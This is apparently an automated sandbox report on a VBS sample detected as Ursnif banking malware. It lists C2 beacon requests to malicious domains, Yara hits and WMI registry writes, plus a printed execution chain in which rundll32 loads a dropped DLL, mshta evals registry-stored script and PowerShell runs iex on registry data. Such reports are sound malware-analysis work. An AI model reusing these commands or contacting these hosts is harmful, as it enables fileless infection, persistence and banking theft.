Source: global traffic	HTTP traffic detected: POST /W7oPFKe8v92MJK/3s9n12Zlxxip0RpYqadjX/SO7W1_2FF9Pkd4OV/Fr1cAJR5yzwxrV5/Jx7W_2FGpEVbkHb92i/nk7onhk3e/t3LARu0x8PsikCuNcG3A/xVZtlmy23EEwScpeJDo/wvuFYBZUTBSU84oV7Elz6G/vj_2F1HMVCKsF/ltj9usP8/bN_2Bx9_2BXwYInwNajYI72/h9Hrv5vhx_/2F82si9cIkqX7v6R4/9UOOaco5x39h/66X8TzwdR07/vkpw_2FwebnNKA/xttU1J1hU1aqHEwJ_2BPb/e_2FLASBRA3M51hv/aDQxYMFh2bS_2BM53oI/t HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Content-Length: 2Host: art.microsoftsofymicrosoftsoft.at
Source: global traffic	HTTP traffic detected: POST /08OHsz1N1FvuG6kjmE/aTh0zMsnZ/SI0oUmCO_2BS5MoLEECj/uZ7K5bJdnYQx3WN05uH/v_2Fm83_2BmFHvZHPW65zA/GW0_2BJDiUD1w/ZK6b_2Bh/StY6HpePFkaOsmwn5z64jk4/hNqOPWlFAk/QdUHTQ0be2zDX_2Bp/gFERm0UEw08y/zSKvozh3BGq/IuojbbR5mE_2FM/dq0z5j8vfE1Mb6ztPRP2X/B41DadMfELfCe7ey/X881VUbPPRiD756/vcgjm_2B6diCc8QiJ8/zWiCv09og/LPjcs0IySRyGzo4FtAjY/MaQN7Yj0rwdcUGBU3Lw/cxZIrRpMI9kt/XnFePhCWR/v HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=124046255642640572323054504739User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Content-Length: 675Host: art.microsoftsofymicrosoftsoft.at

Source: rundll32.exe, 00000012.00000002.870125823.0000000000B1A000.00000004.00000020.sdmp	String found in binary or memory: http://atl.bigbigpoppa.com/
Source: rundll32.exe, 00000012.00000003.809344105.0000000000B86000.00000004.00000001.sdmp	String found in binary or memory: http://atl.bigbigpoppa.com/HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNW
Source: rundll32.exe, 00000012.00000003.797288272.0000000000B78000.00000004.00000001.sdmp	String found in binary or memory: http://atl.bigbigpoppa.com/LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44eu
Source: rundll32.exe, 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp	String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp	String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: powershell.exe, 00000016.00000003.845905572.00000200ADF45000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp	String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000016.00000002.872992531.00000200AE2AF000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000016.00000002.872464143.00000200AE0A1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000016.00000002.872992531.00000200AE2AF000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000016.00000002.872992531.00000200AE2AF000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000016.00000002.890166095.00000200BE0FD000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown

HTTP traffic detected: POST /W7oPFKe8v92MJK/3s9n12Zlxxip0RpYqadjX/SO7W1_2FF9Pkd4OV/Fr1cAJR5yzwxrV5/Jx7W_2FGpEVbkHb92i/nk7onhk3e/t3LARu0x8PsikCuNcG3A/xVZtlmy23EEwScpeJDo/wvuFYBZUTBSU84oV7Elz6G/vj_2F1HMVCKsF/ltj9usP8/bN_2Bx9_2BXwYInwNajYI72/h9Hrv5vhx_/2F82si9cIkqX7v6R4/9UOOaco5x39h/66X8TzwdR07/vkpw_2FwebnNKA/xttU1J1hU1aqHEwJ_2BPb/e_2FLASBRA3M51hv/aDQxYMFh2bS_2BM53oI/t HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Content-Length: 2Host: art.microsoftsofymicrosoftsoft.at

Source: unknown

DNS traffic detected: queries for: atl.bigbigpoppa.com

Source: global traffic	HTTP traffic detected: GET /LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44euzNQd9TRf/1Zb3P4q5F0mc0qdltC/bLlV5uCsx/obqe2ve9g7Th5DnAa17u/ifRiDnyBBWyxfspwjbc/4e64zsAjWvHHh07WM2IgYy/t1JnmxqkM0edm/B_2Fp0Xl/aO6EV9JJQOgg5QsFoCbzQfO/_2BOZLcUIR/ooMrpCxMndVWwPntp/mvRIBZb_2B_2/Beg4_2F_2Fr/I_2FcfrvgLZ_2F/J3NCkzqZf5_2Fr1C_2BZp/h9SFOIo1qkmT8Tal/3qdDBO5XKEdw_2F/4xqo8eXRx/pJscFz7Rq/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0Host: atl.bigbigpoppa.com
Source: global traffic	HTTP traffic detected: GET /yycLCxNRZEFU2J4UrQOl/FX7uF3nnSEu1rXBTN4d/LylqoAvPuubQ7SHiRZfBKF/4dapCnHjf6OGO/yl6rivKE/fgvQJKMe8TaTP5ycHGNAJUS/0YTRa2nWMo/en2LMiL2tQIZKUpol/smZ_2B4BmeyI/57ObWaf9NZW/uHAXXMRRQnyL7K/pZ21NZyhAYoU6jMX_2FXx/_2F1viwpW6B_2BQx/yytF1Qgt5sD6QuY/yCiBnG89B2zLl6ouYK/ovFfokaNC/WnbbXZP7gD7mtpGqOSST/2_2Fq_2BjMeuOfq6Yo5/TugSOTNVmBx8AK0VzEQO9D/fxXdG0idPk4t/207vRTOEh/oW HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0Host: atl.bigbigpoppa.com
Source: global traffic	HTTP traffic detected: GET /HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNWGS38iu6HBSu0eZQC/bmSTwgO68w/mDzLSD0yv5NsCWUYa/KrMPefIXTo7Y/kYocGyKbfHI/qpROOMC7W3BpuS/FiHxn9Vj_2BE_2BRO1MPS/HSvVFR_2FvFubdta/FMJR0bw3OFOckhz/gihVzVqSiIHGsYLcl_/2FiUzDnO5/Znp2qHqDPmJt_2FKhKU2/B1dWx_2FKsmf5DpcS8Z/eu7lOAGu9ogHBSfDIGfPdL/lCnFrX6yLs9rJ/djJKkMKB/PGYeMNf7nd3nwYWaABiF0QM/d HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0Host: atl.bigbigpoppa.com
Source: global traffic	HTTP traffic detected: GET /M0s2qYX0svCgNwwi/PPI7Xc5SLSkLQIY/5lrOW2oNgPCEjObB3W/rK9MpeZNZ/UBjNTHqn019AlZCIEx5P/tkwag9cTBuiHiomNMOd/c4Fs5ApV0T_2BnjVwW3gyf/bJPiicUJ8f_2F/p_2BzDHN/AttyzxcYoU5_2FqrCObbGoi/jSm_2BVGxu/KGJY3tUfrdwytDYZ_/2BjCzYCnXysU/C2JbU3dlXVl/5uJ7MQlXxw8eLV/q0zaTcL3CTeSA980379DA/dHPHAS9NwOC9V6VK/lP_2FDVrlGe4ayd/LAmEzNRn3GukTSqHPk/HGsc32BVj/4Gvn4Q9G8MH6Q5yTHXJc/ulutZq7s HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Host: art.microsoftsofymicrosoftsoft.at

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000012.00000003.794954307.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794836470.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794735521.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.797221471.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794770084.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794874719.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794800647.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794900142.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794931081.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.801557253.000000000517C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.5328d48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.52f94a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.871947216.0000000004FFF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799908702.000000000527A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799937952.00000000052F9000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.890326064.00000200BE266000.00000004.00000001.sdmp, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000012.00000003.794954307.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794836470.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794735521.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.797221471.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794770084.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794874719.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794800647.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794900142.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.794931081.0000000005378000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.801557253.000000000517C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.527a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.5328d48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.52f94a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.871947216.0000000004FFF000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799908702.000000000527A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.799937952.00000000052F9000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.890326064.00000200BE266000.00000004.00000001.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

System Summary:

Writes registry values via WMI

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F2725F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F27E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F21754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05753570
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_057310E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_057390A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05735C88
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05747B5D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_057443B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0573FBA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0573423D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0574DAED

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_0573E6B4 CreateProcessAsUserA,

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F240DC NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F26EB3 GetProcAddress,NtCreateSection,memset,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F27666 NtMapViewOfSection,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_00F28055 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_057509D7 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0574B58C NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0574F7F5 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0575079B GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05746657 RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05740E3E NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05735166 NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05739D36 NtGetContextThread,RtlNtStatusToDosError,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_057455D6 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05745878 memset,NtWow64QueryInformationProcess64,GetProcAddress,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05740CEF NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05748890 NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0574A71C NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05740FBD memset,NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0574FBB9 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05750BAB NtQueryInformationThread,GetLastError,RtlNtStatusToDosError,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_0573579C NtQuerySystemInformation,RtlNtStatusToDosError,

Source: cshxvr3e.dll.26.dr	Static PE information: No import functions for PE file found
Source: kuljoghz.dll.24.dr	Static PE information: No import functions for PE file found

Source: sample.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\fum.cpp 8C5BA29FBEEDF62234916D84F3A857A3B086871631FD87FABDFC0818CF049587

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\sample.vbs'
Source: unknown	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>'
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB252.tmp' 'c:\Users\user\AppData\Local\Temp\kuljoghz\CSCFD41DB177D83417DAD6FB740EC17B379.TMP'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC397.tmp' 'c:\Users\user\AppData\Local\Temp\cshxvr3e\CSC395E5146EDFE427593BFE3FCA45BE18C.TMP'
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB252.tmp' 'c:\Users\user\AppData\Local\Temp\kuljoghz\CSCFD41DB177D83417DAD6FB740EC17B379.TMP'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC397.tmp' 'c:\Users\user\AppData\Local\Temp\cshxvr3e\CSC395E5146EDFE427593BFE3FCA45BE18C.TMP'

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::create

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20210910

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\adobe.url

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winVBS@22/20@7/1

Source: C:\Windows\System32\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_00F22102 CreateToolhelp32Snapshot,Process32First,StrStrIA,Process32Next,CloseHandle,

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\{B68F86DF-9DC3-5870-D74A-210CFB1EE500}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3284:120:WilError_01
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\{F660447E-DDE3-9893-178A-614C3B5E2540}

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\sample.vbs'

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: sample.vbs

Static file information: File size 1397160 > 1048576

Source:	Binary string: :C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.pdb source: powershell.exe, 00000016.00000002.885375764.00000200B1621000.00000004.00000001.sdmp
